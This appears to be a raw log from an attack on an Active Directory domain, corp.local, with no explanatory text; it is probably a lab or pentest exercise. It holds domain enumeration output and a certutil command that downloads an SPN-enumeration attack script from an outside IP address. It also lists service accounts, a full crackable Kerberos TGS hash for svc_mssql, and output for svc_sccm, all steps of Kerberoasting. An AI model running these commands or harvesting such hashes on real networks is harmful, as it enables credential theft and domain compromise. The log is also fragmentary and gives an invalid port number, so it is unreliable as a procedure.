net view /domain
Forest : corp.local
DomainControllers : {DC01.corp.local}
Children : {}
DomainMode : Unknown
DomainModeLevel : 7
Parent :
PdcRoleOwner : DC01.corp.local
RidRoleOwner : DC01.corp.local
InfrastructureRoleOwner : DC01.corp.local
Name : corp.local
certutil -urlcache -split -f http://192.168.49.135:80000/active-
directory/GetUserSPNs.ps1
ServicePrincipalName : backup/commvault.corp.local
Name : svc_commvaultdb
SAMAccountName : svc_commvaultdb
MemberOf :
PasswordLastSet : 4/25/2018 9:39:07 PM
ServicePrincipalName : kadmin/changepw
Name : krbtgt
SAMAccountName : krbtgt
MemberOf : CN=Denied RODC Password Replication Group,CN=Users,DC=corp,DC=local
PasswordLastSet : 3/27/2018 8:38:47 PM
ServicePrincipalName : mssql/SQL01.corp.local:1433
Name : svc_mssql
SAMAccountName : svc_mssql
MemberOf :
PasswordLastSet : 4/25/2018 9:31:14 PM
ServicePrincipalName : sccm/sccm.corp.local
Name : svc_sccm
SAMAccountName : svc_sccm
MemberOf :
PasswordLastSet : 4/25/2018 9:43:13 PM
ServicePrincipalName : splunk/splunk.corp.local:8000
Name : svc_splunk
SAMAccountName : svc_splunk
MemberOf :
PasswordLastSet : 4/25/2018 9:27:23 PM
Hash : $krb5tgs$23$*svc_mssql$corp.local$mssql/SQL01.corp.local:1433*$5C2472169A47DA2BE F681A7EB0A03934$6FFAA3D3F22609E17221C185916B7B56210E680BB16B95F97F7213BD26BD897A 91FB306EBEEB799DC4F65AD8F3E9EB991FBCF9D55A1CC0DEF68C5189783F2400BCB715C56E2C7E46 9AC40AFBA2E7E93E60544ECFA2BC32A2C4E72A1F5C223C497E180707443D18BA7C31DDB97F913A7F 6BC02B2D1F4EEDF56CF6119723982A11329159DD43C564C36A2867E61DE6143EE31B127F6528DB89 761D619D331CE81825CF7E1614A8DB23B512A2B279AC1C59356217C84622C279B1C6CB6193867A5B 621CD2A4A9D02D4A456772C8E524FE919D585B83C64CC02D9A206C19D2A39E0B1E3387C4A38F64D0 5EE6B5EA48715273B53958928A064900A84E4BEB0CD7D3ACEAC1524314047D0F2B7087532B038A40 DA9CD9CD5C8A6AACA50FE76E9173BE3F2A76A4C333ECB77CAB74C2EE7D20C633BB6346A3BBF70B4A 1D5345EDBB8F3AB41A349B7879D8927A48584B10E87DD7C031CC403E963D5C2DD60182BE6C808F22 5013AEFA02B48EBACC9EFBDA71BD7A70C54C33B5922120274CA94B6252764675DA91BE5A9E230E91 B1AA2E5BB64B35994E6202CDA6659766BB7F2E812F2A6D89A2F173940B92D8EA1B95F480B441C87C 41DF3745E9E0592A1D1108592A5A57C5706FCAD30C6F6A5C16DCD8F60D44414987D91A57165478C3 706FAFBDA58CB4D77621D65D05E9423029ED2D9B5AD7515BA4C2AAC92FE9628EB4DF9E71B9D1CCD1 5817E1754CEFD29A5D6AC900719D3C593056CE946CCABE33E70F3AC5EE76D6AA536258D3ED27266D D01CF1D43BC6046C35D5136B486FB1B256CAFAE632FD075178FC47AC1816D032DD9CAD569F6FC1AC 04EF240F33E0F301FBA658B00294EC0DCF918D68BD9022320FA3710D72599161AEC0519CFCCA698B EA277894AB6F40164B83CBA3064E44838F4B9B3A434C910B35232685B223E27DF44A43151C68F8CC 0C349BA57D3E2C00BDDA1F11E865604ED072D26F1846AEA4B00A1C57FB2E362727E608FA6E7BE50C CDB65D64B89C80431BEACBCAA04DC95DC3C554238B9A3CE907DE7D88C6B54D6565DC02D99F2F3F8B A04AF376DC7B092223477530BC7614FEAC833E2F225E1F5FE095DB46FF4DC3F7068FAEDAD06ADD96 D81C7B2483078622D90633D8792C54721AD106E85924782FD5D155E7BEC78829F2574B7835854232 C7D0E5E5C66ECEB2F8BD9DB08D29044E5325E6EE1A36699F25EEF115B2E5D74E61DF7D17A9DFF58E DAB4129493518052A7410AA812F0C90B0322D7479912046B4DC633FF996BDAEB271D715BCC46D5EA 64812E342E6E38BE54414EF708C967AC3EB08AE16D4F7F8E8C706E81BDD7B2FFCD0E762B3E75B9A4 9FB3ACB53C9D86866FE4ECDF5980192F99D4AEEA2C5E702E0B20AB28FB3BF0CED788BD85B80E912E 155D913622E311D46B9D052D8215C7C29AEAFF282299786FB806CDC2CFD715DC4FEC9B141C50A04E 4894DA68047F90FB67973F56BD71E216E0395831F4DE75250B7EB6350EC55F7CF82724A9E1674EF8 5A2E88A9D71AAE9001D0A7B492B927589B6BB6BAE27937C4ECC814B396D15436F9783F2755985C85 04295A505F3836E3FB49EE8F04E0885E9801FB8BD7D5ADB70C2E8EDCADE7E0F06619B579E87FCBD5 68514051DA6E119942CF20E7F1E23520473EEBE10A41CDD48C5F9B47A0 [*] SamAccountName : svc_sccm [*] DistinguishedName : CN=svc_sccm,OU=Service Accounts,OU=Corp,DC=corp,DC=local [*] ServicePrincipalName : sccm/sccm.corp.local [*] PwdLastSet : 4/26/2018 1:43:13 AM [*] Supported ETypes : RC4_HMAC_DEFAULT [*]